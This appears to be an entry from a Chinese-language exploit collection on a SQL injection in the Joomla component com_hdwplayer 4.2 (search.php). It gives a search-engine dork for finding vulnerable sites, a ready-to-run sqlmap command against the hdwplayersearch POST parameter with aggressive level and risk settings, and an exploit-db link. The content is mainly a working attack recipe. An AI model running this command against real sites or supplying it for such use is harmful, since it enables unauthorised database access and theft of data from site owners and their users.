008-Joomla com_hdwplayer 4.2 - 'search.php' sql注入.md

471 B / 2021-07-17 00:01:28

    # Joomla com_hdwplayer 4.2 - 'search.php' sql注入

### 一、漏洞简介

关键字:`inurl:"index.php?option=com_hdwplayer"`

### 二、漏洞影响

com_hdwplayer 4.2

### 三、复现过程


```python
python ./sqlmap.py -u "http://127.0.0.1/joomla/index.php" --method=POST --random-agent --data "option=com_hdwplayer&view=search&hdwplayersearch=xxx" --level=5 --risk=3 --dbms=mysql -p hdwplayersearch
```

**参考链接**

https://www.exploit-db.com/exploits/48242